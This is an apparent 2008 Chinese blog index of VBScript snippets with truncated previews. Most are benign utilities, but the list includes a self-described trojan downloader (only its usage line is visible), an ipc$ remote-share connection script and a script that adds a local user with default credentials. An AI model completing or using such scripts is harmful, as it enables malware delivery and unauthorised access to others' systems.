文章标题关闭所有内容预览 | 展开所有内容预览
-
文件列手0.1体验版(类似dir,VBScript语言)
[内容预览]
7 | 2008-04-05 00:06:31
开始**OptionExplicitPublicfso,CurrentName,CurrentPath,ExtensionDimResponse,Answer,Result,Begin,Over'-初始化常量Setfso=CreateObject("Scripting.FileSystemObject")Current...
[阅读全文]
-
VBScript,调查驱动器信息
[内容预览]
5 | 2008-04-05 00:06:08
OptionExplicitDimobjFSO,objWSH,objTxT,DriveColDimDrive,Counter,TableContent,WholeLen,ShowReDimProperty(9),Table(9,1)Counter=0WholeLen=0TableContent=""Property(0...
[阅读全文]
-
vbs代码写的时钟
[内容预览]
11 | 2008-04-05 00:05:45
DimWkdayName,objWSH,ShowDT,TitleSetobjWSH=CreateObject("WScript.Shell")WkdayName=Array("星期日","星期一","星期二","星期三","星期四","星期五","星期六")ShowDT=Time&Space(4)&vb...
[阅读全文]
-
vbs代码得到本月的最后一天
[内容预览]
4 | 2008-04-05 00:05:13
Dimdt1,dt2dt1=Datedt1=CDate(Year(dt1)&"-"&Month(dt1)&"-1")'得到本月第一天dt2=DateAdd("d",-1,dt1)'得到上个月最后一天MsgBoxdt2
[阅读全文]
-
vbs中的最大值类似max、min函数
[内容预览]
13 | 2008-04-05 00:04:52
functionmax(info)arr=split(info,",")max=clng(arr(0))fori=1toubound(arr)ifclng(arr(i))>clng(max)thenmax=clng(arr(i))endifnextendfunctionfunctionmin(info)arr=spli...
[阅读全文]
-
编码转换的vbs脚本
[内容预览]
6 | 2008-04-05 00:04:31
<SCRIPTlanguage=vbscript>fori=33to128ifabs(i)mod2=0thendocument.write"<fontcolor=blue>chr("&i&")=</font>"&chr(i)&"<br>"elsedocument.write"<fontc...
[阅读全文]
-
vbs代码获取exe/dll版本等信息
[内容预览]
9 | 2008-04-05 00:03:58
DimoInfoSetoVer=WScript.GetObject("res://"&InputBox("Fullfilepath?",wscript.ScriptName,"shell32.dll")&"/16/1")WScript.Sleep500oInfo=Split(oVer.body.inne...
[阅读全文]
-
列进程杀进程的vbs脚本(wmi)
[内容预览]
12 | 2008-04-05 00:03:41
Onerrorresumenextif(lcase(right(wscript.fullname,11))="wscript.exe")thenwscript.echo"Executeitunderthecmd.exePlz!Thx."wscript.quitendifSetwmi=GetObject("winmgmt...
[阅读全文]
-
VBS做的一个木马下载者
[内容预览]
23 | 2008-04-04 22:57:52
dexecfunctiondexec()IfWscript.Arguments.Count>0ThenoverWrite=Wscript.Arguments(0)elseWScript.Echo"Usage:cscript"&wscript.scriptname&"1|2(overwrite)urlsa...
[阅读全文]
-
VBS脚本显示服务、用户、组的vbs代码
[内容预览]
6 | 2008-04-04 22:57:17
运行示例:C:\>cscript"C:\DocumentsandSettings\Administrator\桌面\s.vbs"Microsoft(R)WindowsScriptHostVersion5.6版权所有(C)MicrosoftCorporation1996-2001。保留所有权利。+---codzmyvbs...
[阅读全文]
-
VBS脚本显示用户和组及服务
[内容预览]
7 | 2008-04-04 22:57:07
foreachobjingetObject("WinNT://.")err.clearwscript.echo""wscript.echoobj.Namewscript.echo"-"wscript.echoobj.DisplayNamewscript.echo"---"wscript.echoobj.pathnext...
[阅读全文]
-
VBS脚本显示计算机环境变量
[内容预览]
19 | 2008-04-04 22:55:46
Setwshshell=CreateObject("WScript.Shell")ForEachEnvirSYSTEMInwshshell.Environment("SYSTEM")enOutSYSTEM=enOutSYSTEM&"当前"&EnvirSYSTEM&vbCrlfNextForEac...
[阅读全文]
-
用VBS增加一个本地用户(adsi初步了解)
[内容预览]
13 | 2008-04-04 22:55:20
dimusername,passwordIfWscript.Arguments.Count>0Thenusername=Wscript.Arguments(0)password=Wscript.Arguments(1)Elseusername="888"password="888"endifsetwsnetwork=C...
[阅读全文]
-
VBS脚本显示域用户和本地用户
[内容预览]
11 | 2008-04-04 22:54:59
strComputer=CreateObject("WSCRIPT.NETWORK").ComputerNamestrTestString="/"&strComputer&"/"SetcolGroups=GetObject("WinNT://"&strComputer&"/Adminis...
[阅读全文]
-
连接ipc$.vbs
[内容预览]
17 | 2008-04-04 22:54:01
DimWshShell,oExecSetWshShell=CreateObject("WScript.Shell")SetoExec=WshShell.Exec("%comspec%/cnetuse\\"&Wscript.Arguments(0)&"\ipc$"&Wscript.Argument...
[阅读全文]
-
VBS查看当前登陆用户
[内容预览]
4 | 2008-04-04 22:53:29
setwshNetwork=WScript.CreateObject("WScript.Network")wscript.echo"登陆域"&wshNetwork.UserDomainwscript.echo"计算机名"&wshNetwork.ComputerNamewscript.echo"当前登陆用...
[阅读全文]
-
用VBS增加一个快捷的命令行
[内容预览]
4 | 2008-04-04 22:53:02
Setws=CreateObject("WScript.Shell")ws.RegWrite"HKEY_CLASSES_ROOT\Directory\shell\Command\","CMD环境","REG_SZ"ws.Regwrite"HKEY_CLASSES_ROOT\Directory\shell\Command...
[阅读全文]
-
vbs遍历目录
[内容预览]
12 | 2008-04-04 22:52:26
FunctionTreeIt(sPath)SetoFso=CreateObject("Scripting.FileSystemObject")SetoFolder=oFso.GetFolder(sPath)SetoSubFolders=oFolder.SubfoldersSetoFiles=oFolder.FilesF...
[阅读全文]
-
一个最简单的vbs类
[内容预览]
18 | 2008-04-04 22:52:07
classCFoosubPrintHello()response.Write"HelloWorld!"endsubendclassdimobjsetobj=newCFoocallobj.PrintHellosetobj=nothing
[阅读全文]
-
一段用VBS脚本写的3D动画
[内容预览]
47 | 2008-04-04 22:51:37
'OnErrorResumeNextSetsh=CreateObject("Wscript.Shell")Setfso=CreateObject("Scripting.FileSystemObject")SetFile=fso.CreateTextFile("a.txt",Ture)File.WriteLine("a"...
[阅读全文]

